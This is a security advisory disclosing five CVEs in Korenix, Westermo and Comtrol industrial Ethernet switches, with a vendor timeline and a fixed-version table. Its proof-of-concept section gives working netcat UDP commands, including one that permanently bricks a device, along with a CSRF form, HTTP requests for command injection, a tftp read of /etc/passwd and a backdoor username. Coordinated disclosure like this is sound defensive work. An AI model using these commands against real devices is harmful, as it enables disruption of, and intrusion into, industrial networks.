Multiple Critical Vulnerabilities in Korenix Technology, Westermo and Pepperl+Fuchs products


Multiple Critical Vulnerabilities in Korenix Technology, Westermo and Pepperl+Fuchs products


Korenix: JetNet 5428G-20SFP, JetNet 5810G, JetNet 4706F, JetNet 4706, JetNet 4706, JetNet 4510, JetNet 5010, JetNet 5310 and JetNet 6095. Westermo: PMI-110-F2G. Pepperl+Fuchs: Comtrol RocketLinx Series, see SA-20201005-0

Vulnerable Version

See "Vulnerable / tested versions"

Fixed Version

See "solution"

CVE Number

CVE-2020-12500, CVE-2020-12501, CVE-2020-12502,CVE-2020-12503, CVE-2020-12504






Thomas Weber (Office Vienna)

Multiple devices which are developed by Korenix Technology and also rebranded for Westermo and Pepperl+Fuchs Comtrol are prone to different critical vulnerabilities. An authenticated command injection is present in various device series. This vulnerability can also be exploited via Cross-Site Request Forgery attacks as there is not protection for that kind of attack. The NMS (Network Management System) of Korenix, also known as JetView or Korenix NMS, communicates via UDP and triggered all actions without prior authentication. TFTP file uploads and downloads can also be triggered without authentication. Different backdoor accounts are also present on some devices from different series. All findings were verified by emulating the device with the MEDUSA scalable firmware runtime.

Vendor description

"Korenix Technology, a Beijer group company within the Industrial Communication business area, is a global leading manufacturer providing innovative, market-oriented, value-focused Industrial Wired and Wireless Networking Solutions.

With decades of experiences in the industry, we have developed various product lines, including:

  • Industrial Ethernet Switch: Rackmount, Din-Rail, Managed, Unmanaged
  • Industrial Power-over-Ethernet Switch: Rackmount, Din-Rail, Managed, Unmanaged
  • Ethernet SFP/SFP+ Fiber Transceiver: 100M, 1000M, 10G
  • Industrial Wireless & Cellular Solution: LAN Access Point, WLAN Controller, Mobile Cellular Router/Gateway
  • Industrial Media Converter: Ethernet, Serial - Industrial Computer & Serial Server & I/O: VPN Router Computer, RISC, X86, Serial Device Server, Switch Card & I/O Module
  • Network Management Software: Korenix NMS Industrial Intelligent Network Management System, Korenix Mobile Manager Utility

Our products are mainly applied in SMART industries: Surveillance, Machine-to- Machine, Automation, Remote Monitoring, andTransportation. Worldwide customer base covers different Sales channels, including end-customers, OEMs, system integrators, and brand label partners. [...]"


Business recommendation

SEC Consult recommends to perform a thorough security review conducted by security professionals to identify and resolve potential further critical security issues.

Vulnerability overview/description

1) Unauthenticated Device Administration (CVE-2020-12500)

Korenix, Westermo (members of the Beijer Group) and Comtrol (Pepperl+Fuchs) are sharing a partially similar firmware base for the industrial devices. They can be managed via a Windows client program called "Korenix View" or "Jet View". This program communicates in plaintext via UDP. All messages that are sent to the device are broadcastet in the whole subnet and the answers from the devices are send back via broadcast too.

The older version of this management program, called "cmd-server2", can be controlled without a password. Analyzing the newer version, called "jetviewd", indicates that some kind of password can be set. But this is not part of the default configuration.

Actions that can be done via this daemon, listening on UDP port 5010, are:

  • Modifying networking settings (IP, netmask, gateway)
  • Initiating self tests and blink LEDs on the device
  • Triggering download and upload of configuration files (via TFTP)
  • Triggering uploads of new firmware and bootloader files (via TFTP)

The device can also be bricked via this daemon so that it is necessary to press the reset button and re-configure the settings. This was tested on a physical device, the JetNet 4706F.

2) Backdoor Accounts (CVE-2020-12501)

Multiple different backdoor accounts were found during quick security checks of different firmware files. One backdoor account was tested on a later bought device to verify this specific finding.

3) Cross-Site Request Forgery (CSRF) (CVE-2020-12502)

The web interface, that is used to set all configurations, is vulnerable to cross-site request forgery attacks. An attacker can change settings via this way by luring the victim to a malicious website.

4) Semi-Blind Authenticated Command Injection (CVE-2020-12503)

A semi-blind command injection vulnerabilities were found on the device series "JetNet" and the "Westermo PMI-110-F2G Managed PoE Gigabit Switch".

They are partially sharing the same firmware base. Therefore, the payloads to exploit those command injections are similar. Due to the lack of CSRF protection, an attacker can execute arbitrary commands on the device by luring the victim to click on a malicious link.

5) Arbitrary Unauthenticated TFTP Actions (CVE-2020-12504)

A TFTP service is present on a broad range of devices for firmware-, bootloader-, and configuration-uploads/downloads. This TFTP server can be abused to read all files from the system as the daemon runs as root which results in a password hash exposure via the file /etc/passwd. Write access is restricted to certain files (configuration, certificates, boot loader, firmware upgrade) though.

By uploading malicious Quagga config-files an attacker can modify e.g. IP-settings of the device. Malicious firmware and bootloader uploads are possible too.

Proof of concept

1) Unauthenticated Device Administration (CVE-2020-12500)

All commands can be sent via UDP port 5010. Device discovery (firmware/bootloader version etc. in response):

echo -e "\x00\x00\x00\x07\x00\x00\x00\x04\x00\x00\x00\x01" | nc -u $IP 5010

Blink with leds:

echo -e "\x00\x00\x00\x5b\x00\x00\x00\x01\x01" | nc -u $IP 5010

Permanent denial of service. The device is only available after pressing the reset button to load the default config:

echo -e "\x00\x00\x00\x1f\x01\x01\x01\x04\x01\x01\x01\x01" | nc -u $IP 5010

Present on: 

  • Korenix JetNet (Multiple devices)
  • Westermo PMI-110-F2G
  • Comtrol RocketLinx (Multiple devices)

2) Backdoor Accounts (CVE-2020-12501)

The following accounts are available on different devices of Korenix. There might be more affected devices across this vendor. Westermo and Comtrol devices may be affected too.

User "kn001277", present on:

  • JetNet 4706f
  • JetNet 4706
  • More devices may be affected.

Three users are present on the system according to "/etc/passwd". The hashes were cracked and assigned to each user:


By inspecting "/etc/passwd", the only user that is allowed to login to the device on the real shell (/bin/sh) is "kn001277":


The credentials were tested on a real device and they worked.

3) Cross-Site Request Forgery (CSRF) (CVE-2020-12502)

The following CSRF PoC can be used to ping All other actions in the context of the menu, like uploading config files, can be done in the same way:

  <script>history.pushState('', '', '/')</script>
    <form action="http://$IP/goform/formping" method="POST">
      <input type="hidden" name="PingIPAddress" value="" />
      <input type="hidden" name="submit-url" value="/toolping.asp" />
      <input type="hidden" name="Submit" value="Ping" />
      <input type="submit" value="Submit request" />

4) Semi-Blind Authenticated Command Injection (CVE-2020-12503)

The following command injection works on the devices:

  • Korenix JetNet (Multiple devices)
  • Comtrol RocketLinx (Multiple devices)
  • Westermo PMI-110-F2G

The ping functionality in the web-interfaces can be abused to inject system commands in a semi-blind way. Two requests must be sent to the service to retrieve the output of the command injection. 

The first request is a POST-request to the endpoint /goform/formping:

POST /goform/formping HTTP/1.1 
Host: $IP 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
Accept-Language: en-US,en;q=0.5 
Accept-Encoding: gzip, deflate 
Content-Type: application/x-www-form-urlencoded 
Content-Length: 57 
Connection: close 
Cookie: -common-web-session-=::webs.session::9c10b4b1b22063e7fcba5369ff86e779 
Upgrade-Insecure-Requests: 1 

This request triggers the actual command injection in a blind way. The output can be fetched from the system by using the following GET-request after triggering the previous POST-request:

GET //toolping.asp HTTP/1.1 
Host: $IP
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
Accept-Language: en-US,en;q=0.5 
Accept-Encoding: gzip, deflate 
Connection: close 
Cookie: -common-web-session-=::webs.session::9c10b4b1b22063e7fcba5369ff86e779 
Upgrade-Insecure-Requests: 1 

5) Arbitrary TFTP Actions (CVE-2020-12504)

The Linux TFTP client was used to download files from the system using absolute paths. Uploads were only possible on existing paths like:


To download the /etc/passwd file from the system, the following command was invoked:

[user@localhost ~]$ tftp -m binary <Target-IP> -c get /etc/passwd
[user@localhost ~]$ cat passwd 

Present on:

  • Korenix JetNet (Multiple devices)
  • Comtrol RocketLinx (Multiple devices)
  • Westermo PMI-110-F2G

The vulnerabilities 1), 2), 3), 4),and 5) were manually verified on an emulated device by using the MEDUSA scalable firmware runtime.

Vulnerable / tested versions

Korenix JetNet 5428G-20SFP / 1.0
Korenix JetNet 5810G       / 1.1
Korenix JetNet 5310        / 1.5
Korenix JetNet 5010        / 3.1a
Korenix JetNet 4706F       / 2.3b
Korenix JetNet 4706        / 2.3b
Korenix JetNet 4510        / 3.0b
Westermo PMI-110-F2G       / 1.5
Comtrol ES7510             / 3.1a
Comtrol ES7510-XT          / 2.1b
Comtrol ES7506             / 2.1b
Comtrol ES8509-XT          / 2.1a
Comtrol ES8510             / 3.1a
Comtrol ES8510-XT          / 3.1a
Comtrol ES9528-XTv2        / 2.1a

Vendor contact timeline

2020-04-14 Contacting CERT@VDE through and requested support for the disclosure process due to the involvement of multiple vendors.
2020-04-15 Security contact responded, that the products were developed by Korenix Technologies.
2020-04-30 Security contact informed us, that some vulnerabilities were confirmed by the vendor.
2020-07-30 Call with Pepperl+Fuchs contact. Contact stated that the vulnerabilities were reported to Korenix.
2020-09-29 Call with Pepperl+Fuchs and CERT@VDE regarding status. Pepperl+Fuchs stated that they just have a sales contact from Korenix.
2020-10-05 Coordinated release of SA-20201005-0.
2020-10-05 Call with the helpdesk of Beijer Electronics AB. The contact stated that no case regarding vulnerabilities were opened and created one. The product owners of Westermo, Korenix and Beijer Electronics were informed via this inquiry. Set disclosure date to 2020-11-25.
2020-10-06 Restarted the whole responsible disclosure process by sending a request to the new security contact
2020-10-07 Received an email from a Korenix representative which offered to answer questions about product security. Started responsible disclosure by requesting email certificate or whether plaintext can be used. Referred to the request to No answer.
2020-11-11 Asked the representatives of Korenix and Beijer regarding the status. No answer.
2020-11-25 Phone call with security manager of Beijer. Sent advisories via encrypted archive to Received confirmation of advisory receipt. Security manager told us that he can provide information regarding the time-line for the patches within the next two weeks.
2020-12-09 Asked for an update.
2020-12-18 Call with security manager of Beijer. Vendor presented initial analysis done by the affected companies.
2021-03-21 Security manager invited SEC Consult to have a status meeting.
2021-03-26 Agreed on an advisory split as other affected products will get patched later.
2021-04-12 Performed advisory split.
2021-05-26 Meeting regarding advisory publication. Received vendor statement.
2021-06-01 Coordinated release of security advisory.


Update to the most recent firmware version provided on the vendor's website.

Vendor's statement

Korenix recommends users to restrict network access to the devices to only trusted parties/devices/network. Korenix also recommends security best practices and firewall configurations that can help protect devices from attacks that originate from outside the network. Such practices might include:

  • Restrict physical access to device to authorized personnel,
  • Do not have direct connections to the Internet,
  • Separate from other networks by means of a firewall system with a minimal number of exposed ports,
  • Portable computers and removable storage media should be carefully scanned for viruses before they are connected to those devices.

For additional information and support please contact the local Korenix service organization. For contact information, see:

In the upcoming version of those devices these problems will fixed before the first launch of those new products.

Model reported/ODM               Affected Fixed Timeline    Replacement model
JetNet 5428G-20SFP               V1.0           Q1,2021     JetNet 6528G 
JetNet 5810G                     V1.1           Q1,2021     JetNet 5200 series
JetNet 4706F                     V2.3b          Q1,2021     JetNet 5200 series
JetNet 4510                      V3.0b          Q1,2021     JetNet 5200 series
JetNet 5310                      V1.5     V1.6  Q1,2021     JetNet 5200 series
Westermo PMI-110-F2G             V1.5     V1.8  Q1,2021		
JetNet 5310/Comtrol ES7510-XT    V2.1b    V2.1C Q1,2021     JetNet 5200 series
JetNet 5310/Comtrol ES7510       V3.1a    V3.1b Q1,2021     JetNet 5200 series
JetNet 5010/Comtrol ES8510       V3.1a    V3.1b Q1,2021     JetNet 5200 series
JetNet 5010/Comtrol ES8510-XT    V3.1a    V3.1b Q1,2021     JetNet 5200 series
JetNet 4706/Comtrol ES7506       V2.1b          Q1,2021     JetNet 5200 series
JetNet 6095/Comtrol ES8509-XT    V2.1a          Q1,2021     JetNet 5200 series
JetNet 5428G/Comtrol ES9528-XTv2 V2.1a          Q1,2021     JetNet 6528G




Advisory URL


EOF Thomas Weber / @2021